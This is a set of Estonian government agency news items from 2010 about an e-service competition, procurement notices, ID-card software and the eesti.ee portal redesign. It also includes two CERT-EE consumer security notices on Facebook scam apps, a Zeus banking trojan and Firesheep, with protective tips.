Eesti parim e-teenus 2011 võitjad valib auväärne žürii välja veebruaris. Valdkondade parimad saavad soliidse auhinna ning lisaks oma kodulehekülje tarbeks veebikleebise, mille järgi tunneb internetikasutaja ka tulevikus ära tiitlivõidu noppinud e-lahendused. Iga kategooria võitja läkitatakse e-Eesti au kaitsma maailma parimate e-lahenduste konkursile World Summit Award 2011. E-teenuste arendajatele pakub see rahvusvaheline konkurss häid võimalusi saada rahvusvahelist tunnustust ning kasulikke kontakte ka piiri tagant. Sõidukite jälgimisteenuse pakkuja Navirec tunnistas hiljuti, et finaalikoht 2007. aasta rahvusvahelisel konkursil aitas alustada eksporti kaheksasse riiki ning avab siiani välisturgudel nii mõnegi ukse.

Osalemiseks tutvuge konkursi reeglitega veebilehel www.e-konkurss.net, täitke seal toodud lühike osalemisvorm ning saatke see aadressile katri.ristal@artun.ee. Küsimuste korral võtke ühendust WSA Eesti esindaja Katri Ristaliga (katri.ristal@artun.ee, telefon 565 4654, skype katristal).

Inspiratsiooni saamiseks on kasulik tutvuda eelmiste aastate konkurssidele esitatud projektidega ning vaadata inspiratsiooniseminari ettekandeid, kus oma kogemusi jagasid varasematel konkurssidel edu saavutanud e-teenuste pakkujad ning e-turunduse ja investeerimisgurud.

Parima e-teenuse konkurss korraldatakse Euroopa Liidu struktuurifondide programmi "Infoühiskonna teadlikkuse tõstmine" raames ning Euroopa Regionaalarengu Fondi rahastusel.

Tänaseks kandideerib Majandus- ja Kommunikatsiooniministeeriumi (MKM) ja RIA korraldatatud Eesti parima e-teenuse konkursil kaheksa uut kodumaist e-lahendust. Kandideerida on võimalik veel kuni 16. jaanuarini.

Oma kandidatuuri on e-äri kategoorias üles seadnud päevapakkumiste keskkond Cherry.ee, ettevõtetele mõeldud Telegrupi VoIP-lahendus IPCentrex, Ergo Kindlustuse e-reisikindlustus ning veebipõhine ressursiplaneerimise ja projektijuhtimise tarkvara Ganttic. E-valitsuse kategoorias astusid võistlustulle Maksu- ja Tolliameti elektrooniline lihtsustatud tuludeklaratsioon ning Spin TEKi loodud kohalike omavalitsuste lemmikloomaregister LLR. E-kultuuri ja pärandi valdkonnas pürgib parimaks e-teenuseks Spin TEKi üle-Eestiline kalmistumajanduse infosüsteem Haudi ning e-kaasamise vallas mitterahaline kauplemisplatvorm Arambla.

Konkursi žürii esimehe Margus Püüa sõnul pole veel kandidaate Eesti parima e-teenuse tiitlile e-tervise, e-õppe, e-meelelahutuse ja e-teaduse kategooriates. “Kindlasti on ka neis valdkondades viimastel aastatel välja töötatud uuenduslikke e-lahendusi,” lausus Püüa. “Kutsun kõiki arendajaid leidma aega, et täita lühike osalemisvorm ning läkitada oma uus ja huvitav e-lahendus sellele konkursile,“ lisas Püüa.

Kõik konkursil osalejad saavad žüriisse kuuluvatelt ekspertidelt tagasisidet oma e-teenusele. Iga kategooria võitja saadetakse e-Eesti au kaitsma maailma parimate e-lahenduste konkursile World Summit Award 2011.

Parima e-teenuse konkursist on oodatud osa võtma kõik Eestis e-teenuseid ning e-lahendusi arendavad ettevõtted, organisatsioonid ja üksikisikud. Parimad e-teenused valitakse välja e-õppe, e-kultuuri, e-teaduse, e-valitsuse, e-tervise, e-äri, e-meelelahutuse ja e-kaasamise kategooriates. Konkursile esitatud e-teenus või selle parandusversioon peab olema valminud hiljem kui 1. jaanuar 2009. Konkursi võitjad saavad esmakordselt oma kodulehekülje tarbeks veebikleebise, mille järgi tunneb internetikasutaja ka tulevikus ära tiitlivõidu noppinud e-lahendused.

Sõidukite jälgimisteenuse pakkuja Navirec tunnistas hiljuti, et finaalikoht 2007. aasta rahvusvahelisel konkursil aitas alustada eksporti kaheksasse riiki ning avab siiani välisturgudel nii mõnegi ukse.

Konkursil Eesti parim e-teenus 2011 saab kandideerida kuni järgmise aasta 16. jaanuarini, võitjad valib žürii välja veebruaris. Tingimustega saab täpsemalt tutvuda aadressil http://www.e-konkurss.net/.

Eesti parimad e-teenused osalevad aprillikuus ülemaailmsel konkursil World Summit Award (WSA) 2011, kus valitakse välja ja tutvustatakse maailma parimaid info- ja kommunikatsioonitehnoloogia lahendusi.

Parima e-teenuse konkurss korraldatakse Euroopa Liidu struktuurifondide programmi "Infoühiskonna teadlikkuse tõstmine" raames ning Euroopa Regionaalarengu Fondi rahastusel.

RIA kutsub arenduspartnereid osalema riigihankes riigiportaali eesti.ee tehnoloogilise raamistiku versioonimise tarkvara tellimiseks.

Projekti eesmärk on lihtsustada arendusraamistiku arendus- ning tootestamisprotsessi. Projektiga tellitakse rakendus, mis lihtsustab riigiportaalii PostgreSQL arendusraamistiku versioonimist ning tootestamist. Rakendus peab võimaldama PostgreSQL andmebaasi objektide ning andmete ülekandmist SVN'i, ning SVN'is olevate objektide ning andmete taastamist valitud keskkonda.

Pakkumuse esitamise tähtaeg on 10.jaanuar 2011 kell 11:00.
Hankedokumentide saamiseks kirjutada vitali.stupin(ät)ria.ee
 

Aasta viimase teavituse tahaks kirjutada positiivses võtmes, ent kurikaelad ei ole koostööaltid. Nii tulebki jõulueelne teade pühendada pahavara levitamisele Facebooki kaudu.

CERT Eesti infoturbe ekspert Tarmo Randeli sõnul on e-kirjade ja välksõnumite teel pahavara levitamine endiselt populaarne. „Uue vahendina on küberpätid kasutusele võtnud populaarse suhtluskeskkonna Facebook, mille pahavara luuakse eesmärgiga Sinu kontaktid pihta panna ja konto andmed varastada. Seda on kurikaeltel vaja, et enda pahavara võimalikult laiade rahvahulkade seas levitada. Kuidas kontolt kogutud andmeid kasutada, sõltub juba rakenduse loojate fantaasiast ja võimalustest.“

Facebooki pahavara ilmutab end hetkel Sinu sõbra teatena, mis on ingliskeelne, šokeeriva sisuga ning varustatud tähelepanu tõmbava pildiga. Novembrikuus algas pahavara levitatav teade sõnumiga „OMG!“ ning sisu oli teade noore tüdruku surmast. Detsembrikuine spämmilaine edastab samuti noore tüdruku surmateadet.

Teade suunab Su Facebooki rakenduse lehele, kus lisainfo saamiseks peab klikkima nupule. Tegelikult klikkides mingit lisainfot ei saa, vaid Sind suunatakse rakenduse paigaldamise lehele. See on väga tähtis hetk – paigaldamise lehel küsib rakendus luba saada ligi Sinu kontole: ära sellele rakendusele seda luba anna! Kui siiski oled pahavarale andnud loa konto andmeid kasutada, siis postitab kuritahtlik rakendus Su seinale sarnase kutsuva sõnumi ja varastab Sinu kontolt andmeid.

Ekraanipilt rakendusest:

Facebooki kasutajana saad pahavarast hoiduda, selleks:
-mõtle enne sõnumile klikkimist, kas Sinu sõber ikka tavaliselt postitab selliseid sõnumeid oma „seinale“;
-kui sõnum viib Sind rakenduste lehele (aadressi alguses on apps.facebook.com), siis suhtu ekraanil olevatesse juhenditesse ettevaatusega;
-ole ettevaatlik, kui mõni rakendus tahab saada luba postitada Sinu Facebooki „seinale“ (Post to my Wall) ja hallata sinu konto lehti (Manage my Pages);
-kui oled leidnud kahtlase postituse oma sõbra Facebooki „seinalt“, anna talle sellest teada;
-juba paigaldatud pahavara eemaldamine on kirjeldatud siin.

Facebooki pahavara levik on ilmutanud mitmeid uusi probleeme arvutiturbega tegelevatele inimestele. Esiteks on raske teada saada, mida pahavara loojad tegelikult kasutaja konto ja andmetega teevad. Tavalisest arvutiviirusest erineb Facebooki viirus selles osas, et kasutaja arvutisse viirus ei jõua. Tavapärase s.o. arvutisse paigaldatud viiruse uurimine võimaldab peale mõningast vaevanägemist teada saada, mida pahavara teeb. Facebooki puhul paikneb pahavara ühe ettevõtte serverites, millele arvutiviiruste analüüsijatel ei ole ligipääsu. Samuti puudub hetkel Facebooki rakenduste üle korralik kontroll – igaüks võib kirjutada rakenduse. Puudub toimiv mehhanism, et uued rakendused vaadatakse kriitilise pilguga üle enne levikusse lubamist.

Lumine jõulutervitus CERTi kontorist, mis krõbedale külmale vaatamata spämmi tõrjuvate serverite abil soojaks köetud!

Sinu CERT-EE

CERT Eesti ülevaated viimase aja küberpahalaste pingutustest internetis on mõeldud IT-huvilistele, kes igapäevaselt end andmeturbesse puutuvaga kursis ei pea hoidma. Kõik teated on saadaval www.ria.ee/turvamelu.

Eesti arvutikasutajad kiitsid novembris hea e-teenuse kuu raames ühtekokku 47 erinevat e-lahendust. Kõiki kiitust teeninud e-lahendusi kutsutakse kandideerima ka Eesti parima e-teenuse konkursile, mille võitjad saadetakse e-Eesti au kaitsma maailma parimate e-lahenduste võistlusele World Summit Award (WSA) 2011.

Majandus- ja kommunikatsiooniminister Juhan Partsi sõnul on tunnustamine vajalik ning näitas, et enam hinnatakse teenuseid, millest on inimestele praktilist kasu. „WSA konkursist osavõtt toob meie teenustele loodetavasti rahvusvahelist tunnustust ning kasulikke kontakte ka välismaalt, luues ekspordivõimalusi ja eeldusi välisinvesteeringute kaasamiseks,“ lisas Parts.

Hea e-teenuse kuu ajal teenisid veebilehe http://www.e-konkurss.net vahendusel internetikasutajatelt enim kiitust eestlaste loodud majandustarkvara ERPLY ja Maa-ameti kaardiserver. Mitmel korral kiideti riigiportaali eesti.ee, Swedbanki ja SEBi netipankasid, sooduspakkumiste keskkondi Cherry.ee ja Deal24, Mobiil ID-d, korteriühistutele mõeldud veebipõhist tarkvara korteriyhistu.net ning Pilet.ee ja Piletilevi piletiostukeskkondi.

E-riigi lahendustest tunnustati 18 minutiga uue firma loomise maailmarekordi püstitanud ettevõtjaportaalija Tallinna veebikaarti ning e-meditsiini valdkonnast Ida-Tallinna Keskhaigla patsiendiportaali i-patsient, meditsiiniportaali arst.ee ja salenemisportaali Kaaluabi.

E-äri lahendustest märgiti ära e-poe tarkvara Pipfrog.com, e-arvete süsteemi eAktiva, muusika veebipoodi Muusika24, Eesti siseturismile suunatud broneerimiskeskkonda Hotelliveeb, müügikeskkonda Varad.ee, iseõppivat tööaja arvestussüsteemi Toggl, Tallinki. Estonian Airi, Saaremaa Laevakompanii ja Väinamere Liinide veebipõhiseid broneerimissüsteeme, äritarkvara Next, online konsultatsioonkeskkonda Tutoruno, küsitluskeskkonda At-Survey, elektroonseid trükiseid pakkuvat ePaberit, Piletimaailma müügikeskkonda, personaalse teenuspaketi kokkupanekut võimaldavat Starman Starti, Kummimehe rehvivahetuse broneerimissüsteemi, projekti- ja ressursihaldustarkvara Ganttic, Eesti Energia iseteenindust ning If Kindlustuse e-bürood.

Hariduse ja kultuuri vallas toodi esile Eesti e-Ülikooli keskkonda, raamatukogude e-kataloogi Ester ja rahvuslikku digiarhiivi Saaga, heategevuse valdkonnas hüljatud loomadele annetusi koguvat Veebiperemeest ning vaba aja veetmise osas Eesti mõttespordi portaali www.vint.ee, mereinfot koondavat Surfpaperit, ERRi suusaportaali ja Eesti Loto mängukeskkonda. Meediaväljaannetest märgiti positiivselt ära Postimehe online-väljaannet.

Hea e-teenuse kuu korraldati Euroopa Liidu struktuurifondide programmi "Infoühiskonna teadlikkuse tõstmine" raames ning Euroopa Regionaalarengu Fondi rahastusel.

Eesti parima e-teenuse konkursi võitjad saavad esmakordselt koduleheküljele veebikleebise, mille järgi tunneb internetikasutaja ära tiitlivõidu noppinud e-lahendused.

Majandus- ja Kommunikatsiooniministeeriumi riigi infosüsteemide osakonna juhataja Margus Püüa sõnul on tegemist digitaalse kvaliteedimärgiga, mis suurendab inimeste teadlikkust Eesti parimate e-teenuste kohta. „Kui hea teeninduse kuu raames enim kiita saanud ettevõtted saavad oma uksele panna tunnustava kleebise, siis parimate e-teenuste pakkujad saavad nüüd kasutada spetsiaalset tunnusmärki oma koduleheküljel,“ lisas Püüa.

Veebikleebise „Parim e-teenus 2011“  saavad konkreetsed e-teenused, mis on pälvinud ekspertidest koosneva žürii tunnustuse ning läkitatakse võistlustulle maailma parimate e-lahenduste konkursil World Summit Award (WSA) 2011.

Majandus- ja Kommunikatsiooniministeeriumi (MKM) ning Riigi Infosüsteemide Arenduskeskuse (RIA) väljakuulutatud konkursist Eesti parim e-teenus 2011 on oodatud osa võtma kõik Eestis e-lahendusi arendavad ettevõtted, organisatsioonid ja üksikisikud.  Parimad e-teenused valitakse välja e-õppe, e-kultuuri, e-teaduse, e-valitsuse, e-tervise, e-äri, e-meelelahutuse ja e-kaasamise kategooriates. 

Konkursil saab kandideerida kuni järgmise aasta 16. jaanuarini, võitjad valib žürii välja veebruaris. Konkursi tingimustega saab täpsemalt tutvuda aadressil www.e-konkurss.net.

Eesti parimad e-teenused osalevad aprillikuus ülemaailmsel konkursil World Summit Award (WSA) 2011, kus valitakse välja ja tutvustatakse maailma parimaid info- ja kommunikatsioonitehnoloogia lahendusi.

Samuti nimetasid MKM ja RIA novembri hea e-teenuse kuuks, millega kutsutakse kõiki inimesi üles märkama ja tunnustama igapäevaelu lihtsustavaid e-lahendusi. Nutikatest ning mugavatest e-lahendustest saab märku anda veebilehel www.e-konkurss.net. Kasutajate kiituse pälvinud e-lahendusi kutsutakse kandideerima ka Eesti parim e-teenus 2011 konkursile.

Parima e-teenuse konkurss korraldatakse Euroopa Liidu struktuurifondide programmi "Infoühiskonna teadlikkuse tõstmine" raames ning Euroopa Regionaalarengu Fondi rahastusel.

Veebikleebise kujundus:

Arvutiturbefirma „ESET“ Venemaal paikneva turvalabori eksperdid avaldasid novembri alguses ülevaate pangatroojalase Zeus kohta. Tehnilise maiguga kirjutises viidati Zeusi variandile, mis ründas Venemaal tegutsevat panka, kasutades selleks Windowsi standardset lahendust kiipkaardiga suhtlemiseks.

Ründe tehnilisest kirjeldusest on meie jaoks oluline info, et kiipkaardid on muutunud väga populaarseks. Lisaks tavalistele trikkidele on pahavara arendajad hakanud end kurssi viima sellega, kuidas kiipkaarte kasutavatelt klientidelt raha kätte saada. Tegemist ei ole üllatusega – oleme oodanud sellelaadset kiipkaartide kuritarvituse katset paar viimast aastat.

CERT Eesti (Computer Emergency Response Team) infoturbe ekspert Tarmo Randeli sõnul on kiipkaarte kasutavad lahendused üksteisest veidi erinevad ja tänu sellele ei oska Venemaal avastatud pahalane Eesti ID-kaarti ära kasutada. „Küll aga on hetkel suurepärane võimalus meelde tuletada, et turvalisus ei ole püsiv seisund, vaid pidev protsess. Selle protsessi kõige olulisem lüli on kasutaja, kes saab ennast ise kaitsta. ID-kaart tuleb lugejasse panna vaid selleks ajaks, kui teda reaalselt vaja on. Erandi võib teha, kui ID-kaart peab pidevalt olema töökoha arvutis – siis hoolitseb juba tööandja selle eest, et asutuse arvutid oleksid viirustest vabad ning ID-kaardi kasutamine turvaline.“

ESETi turvalabori ekspertide ülevaate aluseks on reaalne juhtum, mis jõudis ka kohtusse. Väga hea on see, et sellisel moel raha varastavad kurjategijad saadakse kätte ja nad lähevad vangi. Seda sõltumata sellest, kus riigis kurjategija asub – olgu selleks siis Eesti, Suurbritannia või Venemaa.

Pangatroojalastele lisaks on tormine sügis murdnud maha ka hulgaliselt tarkvara ning tormine meri uhtunud rannale paar huvitavat töövahendit. Need kinnitavad viimase aja hõikeid – meie igapäevaelu ja arvutiturvalisus on tegemas läbi radikaalseid muutusi. Ajakohase töövahendina mainime sedapuhku Firesheep'i. See programm võimaldab avalikus internetipunktis paari hiireklikiga üle võtta teiste netikasutajate Facebook'i ja Twitteri kontosid ilma „häkkimisoskusi“ omamata.

Avaliku traadita interneti kasutajatele paar soovitust:
*kasutage avalikus WiFi's neid internetiteenuseid, kus suhtlus on krüpteeritud – näiteks on turvalise veebilehe aadressirea alguses „https://“ (tavalise http:// asemel);
*Facebook ei ole nii elutähtis leht, et selle külastamisega ei saaks kannatada, kuni korralikult turvatud koduse WiFi-võrguni jõuad ...;
*nõudke oma teenusepakkujatelt (e-mail jne) teenuse muutmist turvaliselt kasutatavaks;
*mainige kohvikus, et eelistaksite parooliga kaitstud WiFit (kindlasti WPA2). Selle korraldamine ei nõua kohvikupidajalt lisakulutusi, küll aga kaitseb teid. Parooliga Wifit ei ole võimalik Firesheep'iga pealt kuulata, isegi kui parool on avalik.

CERT Eesti ülevaated viimase aja küberpahalaste pingutustest internetis on mõeldud IT-huvilistele, kes igapäevaselt end andmeturbesse puutuvaga kursis ei pea hoidma. Kõik teated on saadaval www.ria.ee/turvamelu.

Kolmapäeval, 15. detsembril 2010 korraldab RIA X-tee uue versiooni infopäeva, kus tutvustatakse X-tee arenduskäiku, X-tee uut 5.0 versiooni ning räägitakse parimatest praktikatest ja X-tee kasutamise kogemusest. Üritusele on eelkõige oodatud IT arendajad, haldajad ja andmekogude pidajad.

Infopäev on osalejatele tasuta, osalemiseks palutakse registreeruda hiljemalt 8. detsembril. Kohtade arv on piiratud!

Ürituse päevakava ja registreerumise info leiate aadressilt http://www.ria.ee/x-tee-infopaev-2010

Infopäev toimub Euroopa Liidu struktuurifondide programmi „Infoühiskonna teadlikkuse tõstmine“ raames ning seda finantseerib Euroopa Regionaalarengu Fond.

Esmaspäeval, 13. detsembril 2010 toimub RIA ja RISO eestvedamisel koosvõime päev, kus räägitakse, milleks on vaja koosvõime raamistikku, mida see annab, mida sisaldab ja kuidas seda kasutada; kuidas luua toetavat infrastruktuuri, kas ja kuidas müüa Eesti kogemust.

Koosvõime päeval esineb ettekandega muuhulgas Serge Novaretti Euroopa Komisjoni ISA programmist ning Soome IT poliitikast ja koosvõime initsiatiividest annab ülevaate Olli-Pekka Rissanen.

Infopäev on osalejatele tasuta, osalemiseks palutakse registreeruda hiljemalt 6. detsembril. Kohtade arv on piiratud!

Ürituse päevakava ja registreerumise info leiate aadressilt http://www.ria.ee/koosvoime-infopaev-2010

Infopäev toimub Euroopa Liidu struktuurifondide programmi „Infoühiskonna teadlikkuse tõstmine“ raames ning seda rahastab Euroopa Regionaalarengu Fond. Infopäeva korraldavad RIA ja RISO.

Eesti arvutikasutajad on 1. novembril alanud hea e-teenuse kuu raames kiitnud juba 35 e-lahendust erinevatest valdkondadest.

„Kuna Eestis on täna paljuski valdav e-eluviis, siis vajavad sarnaselt hea teeninduse kuuga oma kuud ka head e-teenused, mis lubavad meil igapäevaseid asju ajada kodust lahkumata, laiendavad silmaringi või lahutavad hoopis meelt,“ selgitas MKMi riigi infosüsteemide osakonna juhataja Margus Püüa „Sageli leiab laialt kõlapinda üksnes negatiivne kogemus ning häid asju peetakse niivõrd loomulikuks, et neid pole mõtet isegi Facebookis seinale kirjutada. Seetõttu väärivad sarnaselt headele teenindajatele kiitmist ja tunnustust ka meie mugavad ja innovatiivsed e-abimehed.“

Kahe nädalaga on veebilehe http://www.e-konkurss.net vahendusel internetikasutajatelt mitmel korral kiitust teeninud Riigiportaal eesti.ee, Swedbanki ja SEBi netipangad, sooduspakkumiste keskkond Deal24, korteriühistutele mõeldud veebipõhine tarkvara korteriyhistu.net, eestlaste loodud majandustarkvara ERPLY ja Piletilevi piletiostukeskkond. 

E-riigi lahendustest on veel tunnustatud 18 minutiga uue firma loomise maailmarekordi püstitanud Ettevõtjaportaali, Maa-ameti kaardiserverit ja Mobiil ID-d ning e-meditsiini valdkonnast Ida-Tallinna Keskhaigla patsiendiportaali i-patsient ja meditsiiniportaali arst.ee.   

E-äri lahendustest märgiti ära iseõppivat tööaja arvestussüsteemi Toggl, Tallinki. Estonian Airi, Saaremaa Laevakompanii ja Väinamere Liinide  veebipõhiseid broneerimissüsteeme, äritarkvara Next, online konsultatsioonkeskkonda Tutoruno, küsitluskeskkonda At-Survey, elektoonseid trükiseid pakkuvat ePaberit, Piletimaailma ja pilet.ee müügikeskkondi, personaalse teenuspaketi kokkupanekut võimaldavat Starman Starti, Kummimehe rehvivahetuse broneerimissüsteemi, päevapakkumisi vahendavat Cherry.ee-d, projekti- ja ressursihaldustarkvara Ganttic, Eesti Energia iseteenindust ning If Kindlustuse e-bürood.  

Hariduse vallas toodi esile Eesti e-Ülikooli keskkonda ning vaba aja veetmise osas mereinfot koondavat Surfpaperit, ERRi suusaportaali ja Eesti Loto mängukeskkonda. 

Kasutajatelt kiitust teeninud IT-lahendusi kutsutakse kandideerima ka Eesti parim e-teenus 2011 konkursile. Eesti parimad e-teenused valitakse välja ühtekokku kaheksas kategoorias ning iga valdkonna võitja saadetakse e-Eesti au kaitsma maailma parimate e-lahenduste konkursile World Summit Award (WSA) 2011. Konkurss korraldatakse Euroopa Liidu struktuurifondide programmi "Infoühiskonna teadlikkuse tõstmine" raames ning Euroopa Regionaalarengu Fondi rahastusel.

Majandus- ja Kommunikatsiooniministeerium (MKM) ning Riigi Infosüsteemide Arenduskeskus nimetasid novembri hea e-teenuse kuuks, et kutsuda inimesi märkama ja tunnustama igapäevaelu lihtsustavaid e-lahendusi.

Täna algab Majandus- ja Kommunikatsiooniministeeriumi (MKM) ning Riigi Infosüsteemide Arenduskeskuse (RIA) konkurss Eesti parimate e-teenuste leidmiseks. Tegemist on ühtlasi rahvusvahelise e-lahenduste konkursi World Summit Award (WSA) 2011 Eesti eelvooruga.

„E-teenuste arendajatele pakub konkursil osalemine häid võimalusi saada rahvusvahelist tunnustust ning kasulikke kontakte ka välismaalt, mis on suureks abiks nii investeeringute kaasamisel kui ka oma teenustega välisturgudele pürgimisel,“ ütles majandus- ja kommunikatsiooniminister Juhan Parts.

Konkursist on oodatud osa võtma kõik Eestis registreeritud e-teenuseid ning e-lahendusi arendavad ettevõtted, organisatsioonid ja üksikisikud. Parimad e-teenused valitakse välja e-õppe, e-kultuuri, e-teaduse, e-valitsuse, e-tervise, e-äri, e-meelelahutuse ja e-kaasamise kategooriates.

Eesti parimad e-teenused osalevad aprillikuus ülemaailmsel konkursil World Summit Award, kus valitakse välja ja tutvustatakse maailma parimaid e-valdkonna sisuteenuseid ja innovatiivseid info- ja kommunikatsioonitehnoloogia lahendusi.

Sarnased konkursid parimate e-lahenduste leidmiseks on Eestis toimunud ka 2005, 2007. ja 2009. aastal, kuid nime Parim Sisuteenus all. 2009. aastal esindas Eestit näiteks e-valitsuse ja institutsioonide kategoorias 18 minutiga uue firma loomise maailmarekordi püstitanud Ettevõtjaportaal koos piiriülese digiallkirjaga (https://ettevotjaportaal.rik.ee). 2007. aastal jõudis rahvusvahelisel konkursil e-äri kategoorias finalistide hulka sõidukite jälgimise teenus Navirec (http://ee.navirec.com), mis hoiab muuhulgas silma peal katamaraanil „Nordea“, mille pardal Jaan Tätte ja Marko Matvere hetkel ümber maailma purjetavad.

Konkursil Eesti parim e-teenus 2011 saab kandideerida kuni järgmise aasta 16. jaanuarini, võitjad valib žürii välja veebruaris. Konkursi tingimustega saab täpsemalt tutvuda aadressil www.e-konkurss.net.

Samuti nimetasid MKM ja RIA novembri hea e-teenuse kuuks, millega kutsutakse kõiki inimesi üles märkama ja tunnustama igapäevaelu lihtsustavaid e-lahendusi. Nutikatest ning mugavatest e-lahendustest saab märku anda veebilehel Kasutajate kiituse pälvinud e-lahendusi kutsutakse kandideerima ka Eesti parim e-teenus 2011 konkursile.

Parima e-teenuse konkurss korraldatakse Euroopa Liidu struktuurifondide programmi "Infoühiskonna teadlikkuse tõstmine" raames ning Euroopa Regionaalarengu Fondi rahastusel.

Lisainfo:
Monika Saarmann
Majandus- ja Kommunikatsiooniministeerium
Riigi infosüsteemide osakond
Infoühiskonna talituse juhtivspetsialist
Telefon 6397647
E-post Monika.saarmann@mkm.ee

Katri Ristal
WSA Eesti esindaja
Telefon 565 4654
E-post katri.ristal@artun.ee

5. novembril kell 10.00 - 11.30 toimub RIA-s (Rävala 5, V korrus) infotund, milles tutvustatakse riigiportaali jätkuarenduse vastuvõtutestimise hanget. Üritusele on oodatud hankes osalemisest huvitatud ettevõtted, mis tegelevad kvaliteediteenuse osutamisega.

Infotunnil tutvustame RIA soove ning selgitame omapoolset nägemust arendusest ja selle spetsifikatsioonist. Hanke eesmärk on vastuvõtutestimise teenuse osutamine ja selle kvaliteedi tagamine Riigiportaali jätkuarendustöödele.

Infotunnile palun eelnevalt registreeruda http://eestiee.eventbrite.com

Riigiportaal eesti.ee pakub kodanikule, ettevõtjale ning ametnikule võimalust leida usaldusväärset infot, kontaktandmeid ning avalikke e-teenuseid ühtsest turvalisest keskkonnast. Iga päev külastab riigiportaali umbes 8000 inimest.
 

Eelmisel reedel andis AS Sertifitseerimiskeskus Riigi Infosüsteemide Arenduskeskusele üle ID-kaardi baastarkvara Linuxile ja Macile. Tarkvara abil saavad kasutajad end elektroonilistes keskkondades autentida ja allkirjastada enda arvutis dokumente.

ID-kaardi tarkvara saab alla laadida aadressilt www.id.ee. Tarkvara valmis Maci kahele viimasele versioonile (10.5 ja 10.6) ning kolmele Eestis enamlevinud Linuxile (Ubuntu 10.04, Open Suse 11.3, Fedora 13). Tarkvaraga saab inimene end autentida ja enda arvutis digitaalallkirja anda. Veebikeskkondadel läheb nüüd veidi aega, et uue tarkvaraga veebis dokumente allkirjastada saaks, suuremad portaalid ja osad pangad võimaldavad enda keskkondades digitaalallkirja anda juba täna.

RIA asedirektor Kalle Arula sõnul annab riik lisaks ID-kaardi tarkvarale ka kindlustunde kasutajatele. „Näiteks, kui inimesel tekib ametliku tarkvaraga mure, saab ta ööpäev läbi helistada ID-kaardi abiliinile 1777. Lisaks tegutseb riik juba täna sellega, et tulevikus saaks meie tarkvaraga lugeda näiteks Belgia ID-kaardiga allkirjastatud dokumente.“

AS Sertifitseerimiskeskuse juhataja Kalev Pihli sõnul valmib järgmise aasta jaanuari alguses tarkvara Windowsi versioonidele XP, Vista ja 7 ning uuele ID-kaardile 2011 ja digi-ID'le. „Järgmise aasta märtsiks valmivad ID-kaardi tarkvara erilahendused, näiteks mitme kiipkaardi samaaegne kasutamine ja PIN sõrmistikuga kaardi lugejate tugi“, lisas Pihl.

Lisaks tarkvara arendamisele pakub Sertifitseerimiskeskus ka tarkvara tehnililist tuge. See tähendab, et operatsioonisüsteemide, veebilehitsejate või ID-kaardi uuenemisel saab kiiresti teha uuendused ka ID-kaardi tarkvarale. RIA ja AS Sertifitseerimiskeskuse leping kestab 33 kuud, Sertifitseerimiskeskus saab kõigi tegevuste eest kokku 6,23 miljonit krooni.

Otselink ID-kaardi baastarkvara alla laadimise lehele: http://installer.id.ee

Majandus- ja Kommunikatsiooniministeerium ning Riigi Infosüsteemide Arenduskeskus nimetavad novembri hea e-teenuse kuuks ja kutsuvad märkama ja tunnustama igapäevaelu lihtsustavaid e-lahendusi.

Majandus- ja kommunikatsiooniminister Juhan Partsi sõnul on hea e-teenuse kuu eesmärk saada tagasisidet positiivsetest teenustest ning neid teistele eeskujuks seada. "E-teenuseid on erinevate eesmärkidega - ühed muudavad riigi inimestele lähedasemaks ja läbipaistvamaks, teised laiendavad silmaringi ja pakuvad meelelahtust. Kui teenus on hea ja seda märgatakse, siis on sellel potentsiaali ka väljaspool Eestit läbi lüüa,“ lisas Parts.

Kõik arvutikasutajad saavad häid e-teenuseid esile tuua ning nende üle arutada internetis aadressil www.e-konkurss.net. Hea e-teenuse äramärkimisel palume lisada ka lühikese põhjenduse, miks just nimetatu on parim. Kiidetavate e-teenuste kategooriad ei ole mingil viisil piiratud, oodatud on nutikad e-lahendused tervise ja hariduse valdkonnast kuni kultuuri, äri ja mängudeni.  

Kasutajatelt kiitust teeninud IT-lahendusi oodatakse kandideerima ka Eesti Parim E-teenus 2011 konkursile, mis lähiajal välja kuulutatakse. Konkurss korraldatakse Euroopa Liidu struktuurifondide programmi "Infoühiskonna teadlikkuse tõstmine" raames ning Euroopa Regionaalarengu Fondi rahastusel. Parim E-teenus 2011 on ühtlasi rahvusvahelise e-lahenduste konkursi World Summit Award (WSA) 2011 Eesti eelvoor.
 

Sel nädalal allkirjastasid Riigi Infosüsteemide Arenduskeskus ja AS Webmedia lepingu, mille tulemusel saab riigiportaal eesti.ee kasutajasõbraliku ülesehituse ja täiesti uue väljanägemise.

Riigiportaali juhi Aarne Seppeli sõnul muutub portaal nii seest kui väljast. „Uus riigiportaal tuleb mõõtmatult kasutajasõbralikum, loogilisem ja parema väljanägemisega. Muutub praktiliselt kõik - teabe esitamise viis, teenused ja kontaktid. Portaal peab igale inimesele pakkuma just talle vajalikke teenuseid ja infot. Loodame, et avaliku sektori asutuste teenused jõuavad uueneva riigiportaali kaudu inimesteni mugavamalt“, selgitas Seppel.

Webmedia avaliku sektori äriüksuse juhi Tähve Lõppi sõnul tehakse riigiportaalis muudatusi nii avalikus keskkonnas kui ka administratiivse poole peal. „Seetõttu on tehnilise lahenduse juures Webemedia jaoks oluline, et teenuste ületõstmine uude portaali toimuks võimalikult sujuvalt ja kasutajad saaksid toimingute tegemist valutult jätkata ka peale uue portaali kasutuselevõttu,“ lisas ta.

Riigiportaali loomisel tuginetakse kahe aasta jooksul tehtud põhjalikele analüüsidele ja kasutajaküsitlustele. Kõik teemad saavad parema ülesehituse, et kasutajal oleks neid lihtsam leida. Artikleid hakatakse näitama mugavamas vormis ja mis kõige olulisem – artiklid on esitatud tavainimesele mõistetavas keeles, kantseliiti vältides.

Riigiportaal muutub kasutajasõbralikumaks, kuna tekib loogiline seos teenuste, artiklite ja asutuste vahel. See võimaldab huvi pakkuva infoni kiiremini jõuda. Artikleid ja kontakte saab jagada otse sotsiaalvõrgustikes või saata e-kirja teel. Olulise muudatusena on puudega inimestel tulevikus hõlpsam riigiportaali kasutada.

Uus suund on personaliseeritus, mis tähendab, et iga sisse loginud kasutaja saab hallata enda dokumente ja e-posti, muuta teavituskalendri tellimusi ning teavet enda asukohast. Samuti luuakse inimestele ametlike dokumentide hoidla, kus saab silma peal hoida enda suhtlusel riigi või kohalike omavalitsustega.

Otsing muutub paremaks ja detailsemaks. Inimene saab valida, kas otsib kõiki selle sõnaga seotud kategooriaid, teenuseid, teemasid või asutuste kontakte. Uue lahendusena tuleb eesti.ee avalehele sildipilv, mis hakkab näitama enimkasutatud teenuseid ja artikleid.

Riigiportaali uuendamise eelarve on üle kahe miljoni krooni, millest osa rahastab Euroopa Liidu Regionaalarengu Fond. Tööde tähtaeg on järgmise aasta märtsi lõpp.

